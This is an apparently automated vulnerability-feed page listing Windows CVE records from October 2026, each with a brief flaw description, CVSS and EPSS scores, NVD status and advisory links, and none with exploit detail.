### Use after free in Windows Cloud Files Mini Filter Driver allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-88107
Use after free in Windows Cloud Files Mini Filter Driver allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Cloud Files Mini Filter Driver allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88107).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88107&date=2026-10-25).
Sources:
NVD CVE-2026-88107: https://nvd.nist.gov/vuln/detail/CVE-2026-88107
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88107&date=2026-10-25
Use after free in Windows Cloud Files Mini Filter Driver allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Cloud Files Mini Filter Driver allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-88106
Use after free in Windows Cloud Files Mini Filter Driver allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Cloud Files Mini Filter Driver allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88106).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88106&date=2026-10-25).
Sources:
NVD CVE-2026-88106: https://nvd.nist.gov/vuln/detail/CVE-2026-88106
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88106&date=2026-10-25
Use after free in Windows Cloud Files Mini Filter Driver allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-88105
Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88105).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88105&date=2026-10-25).
Sources:
NVD CVE-2026-88105: https://nvd.nist.gov/vuln/detail/CVE-2026-88105
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88105
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88105&date=2026-10-25
Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-88103
Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88103).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88103&date=2026-10-25).
Sources:
NVD CVE-2026-88103: https://nvd.nist.gov/vuln/detail/CVE-2026-88103
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88103
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88103&date=2026-10-25
Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Untrusted pointer dereference in Windows Security Support Provider Interface allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-88098
Untrusted pointer dereference in Windows Security Support Provider Interface allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Untrusted pointer dereference in Windows Security Support Provider Interface allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88098).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88098&date=2026-10-25).
Sources:
NVD CVE-2026-88098: https://nvd.nist.gov/vuln/detail/CVE-2026-88098
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88098
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88098&date=2026-10-25
Untrusted pointer dereference in Windows Security Support Provider Interface allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Concurrent execution using shared resource with improper synchronization ('race condition') in Windows DCOM Server allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-88096
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows DCOM Server allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows DCOM Server allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88096).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88096&date=2026-10-25).
Sources:
NVD CVE-2026-88096: https://nvd.nist.gov/vuln/detail/CVE-2026-88096
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88096
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88096&date=2026-10-25
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows DCOM Server allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Desktop Window Manager allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-88093
Heap-based buffer overflow in Desktop Window Manager allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Desktop Window Manager allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88093).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88093&date=2026-10-25).
Sources:
NVD CVE-2026-88093: https://nvd.nist.gov/vuln/detail/CVE-2026-88093
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88093
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88093&date=2026-10-25
Heap-based buffer overflow in Desktop Window Manager allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Deserialization of untrusted data in Windows Management Instrumentation allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-88091
Deserialization of untrusted data in Windows Management Instrumentation allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Deserialization of untrusted data in Windows Management Instrumentation allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88091).
EPSS 2.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88091&date=2026-10-25).
Sources:
NVD CVE-2026-88091: https://nvd.nist.gov/vuln/detail/CVE-2026-88091
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88091
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88091&date=2026-10-25
Deserialization of untrusted data in Windows Management Instrumentation allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-88080
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88080).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88080&date=2026-10-25).
Sources:
NVD CVE-2026-88080: https://nvd.nist.gov/vuln/detail/CVE-2026-88080
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88080
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88080&date=2026-10-25
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Null pointer dereference in Windows Installer allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-88076
Null pointer dereference in Windows Installer allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Null pointer dereference in Windows Installer allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88076).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88076&date=2026-10-25).
Sources:
NVD CVE-2026-88076: https://nvd.nist.gov/vuln/detail/CVE-2026-88076
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88076
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88076&date=2026-10-25
Null pointer dereference in Windows Installer allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Graphics Kernel allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-88073
Use after free in Windows Graphics Kernel allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Graphics Kernel allows an authorized attacker to elevate privileges locally.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88073).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88073&date=2026-10-25).
Sources:
NVD CVE-2026-88073: https://nvd.nist.gov/vuln/detail/CVE-2026-88073
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88073
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88073&date=2026-10-25
Use after free in Windows Graphics Kernel allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper access control in Windows Host Guardian Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-88072
Improper access control in Windows Host Guardian Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Improper access control in Windows Host Guardian Service allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88072).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88072&date=2026-10-25).
Sources:
NVD CVE-2026-88072: https://nvd.nist.gov/vuln/detail/CVE-2026-88072
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88072
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88072&date=2026-10-25
Improper access control in Windows Host Guardian Service allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Windows BitLocker allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-88070
Out-of-bounds read in Windows BitLocker allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Out-of-bounds read in Windows BitLocker allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88070).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88070&date=2026-10-25).
Sources:
NVD CVE-2026-88070: https://nvd.nist.gov/vuln/detail/CVE-2026-88070
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88070
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88070&date=2026-10-25
Out-of-bounds read in Windows BitLocker allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Storage Spaces Controller allows an unauthorized attacker to deny service over a network.
https://kevwire.com/record/CVE-2026-87716
Heap-based buffer overflow in Windows Storage Spaces Controller allows an unauthorized attacker to deny service over a network. (Oct 13, 2026).
Heap-based buffer overflow in Windows Storage Spaces Controller allows an unauthorized attacker to deny service over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87716).
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87716&date=2026-10-25).
Sources:
NVD CVE-2026-87716: https://nvd.nist.gov/vuln/detail/CVE-2026-87716
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-87716
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87716&date=2026-10-25
Heap-based buffer overflow in Windows Storage Spaces Controller allows an unauthorized attacker to deny service over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-87715
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87715).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87715&date=2026-10-25).
Sources:
NVD CVE-2026-87715: https://nvd.nist.gov/vuln/detail/CVE-2026-87715
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-87715
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87715&date=2026-10-25
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Bluetooth Port Driver allows an unauthorized attacker to elevate privileges over an adjacent network.
https://kevwire.com/record/CVE-2026-87713
Use after free in Windows Bluetooth Port Driver allows an unauthorized attacker to elevate privileges over an adjacent network. (Oct 13, 2026).
Use after free in Windows Bluetooth Port Driver allows an unauthorized attacker to elevate privileges over an adjacent network.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87713).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87713&date=2026-10-25).
Sources:
NVD CVE-2026-87713: https://nvd.nist.gov/vuln/detail/CVE-2026-87713
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-87713
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87713&date=2026-10-25
Use after free in Windows Bluetooth Port Driver allows an unauthorized attacker to elevate privileges over an adjacent network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Quality of Service (QoS) Packet Scheduler allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-87712
Use after free in Windows Quality of Service (QoS) Packet Scheduler allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Quality of Service (QoS) Packet Scheduler allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87712).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87712&date=2026-10-25).
Sources:
NVD CVE-2026-87712: https://nvd.nist.gov/vuln/detail/CVE-2026-87712
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-87712
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87712&date=2026-10-25
Use after free in Windows Quality of Service (QoS) Packet Scheduler allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Stack-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-87711
Stack-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Stack-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87711).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87711&date=2026-10-25).
Sources:
NVD CVE-2026-87711: https://nvd.nist.gov/vuln/detail/CVE-2026-87711
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-87711
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87711&date=2026-10-25
Stack-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper access control in Microsoft Local Security Authority Server (lsasrv) allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-87710
Improper access control in Microsoft Local Security Authority Server (lsasrv) allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Improper access control in Microsoft Local Security Authority Server (lsasrv) allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87710).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87710&date=2026-10-25).
Sources:
NVD CVE-2026-87710: https://nvd.nist.gov/vuln/detail/CVE-2026-87710
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-87710
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87710&date=2026-10-25
Improper access control in Microsoft Local Security Authority Server (lsasrv) allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-87708
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87708).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87708&date=2026-10-25).
Sources:
NVD CVE-2026-87708: https://nvd.nist.gov/vuln/detail/CVE-2026-87708
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87708&date=2026-10-25
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper verification of source of a communication channel in Windows Hyper-V allows an unauthorized attacker to bypass a security feature over an adjacent network.
https://kevwire.com/record/CVE-2026-87705
Improper verification of source of a communication channel in Windows Hyper-V allows an unauthorized attacker to bypass a security feature over an adjacent network. (Oct 13, 2026).
Improper verification of source of a communication channel in Windows Hyper-V allows an unauthorized attacker to bypass a security feature over an adjacent network.
CVSS 7.4 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87705).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87705&date=2026-10-25).
Sources:
NVD CVE-2026-87705: https://nvd.nist.gov/vuln/detail/CVE-2026-87705
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87705&date=2026-10-25
Improper verification of source of a communication channel in Windows Hyper-V allows an unauthorized attacker to bypass a security feature over an adjacent network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-87704
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87704).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87704&date=2026-10-25).
Sources:
NVD CVE-2026-87704: https://nvd.nist.gov/vuln/detail/CVE-2026-87704
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87704&date=2026-10-25
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Integer overflow or wraparound in Windows Resource Management (MRM) allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-87702
Integer overflow or wraparound in Windows Resource Management (MRM) allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Integer overflow or wraparound in Windows Resource Management (MRM) allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87702).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87702&date=2026-10-25).
Sources:
NVD CVE-2026-87702: https://nvd.nist.gov/vuln/detail/CVE-2026-87702
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87702&date=2026-10-25
Integer overflow or wraparound in Windows Resource Management (MRM) allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
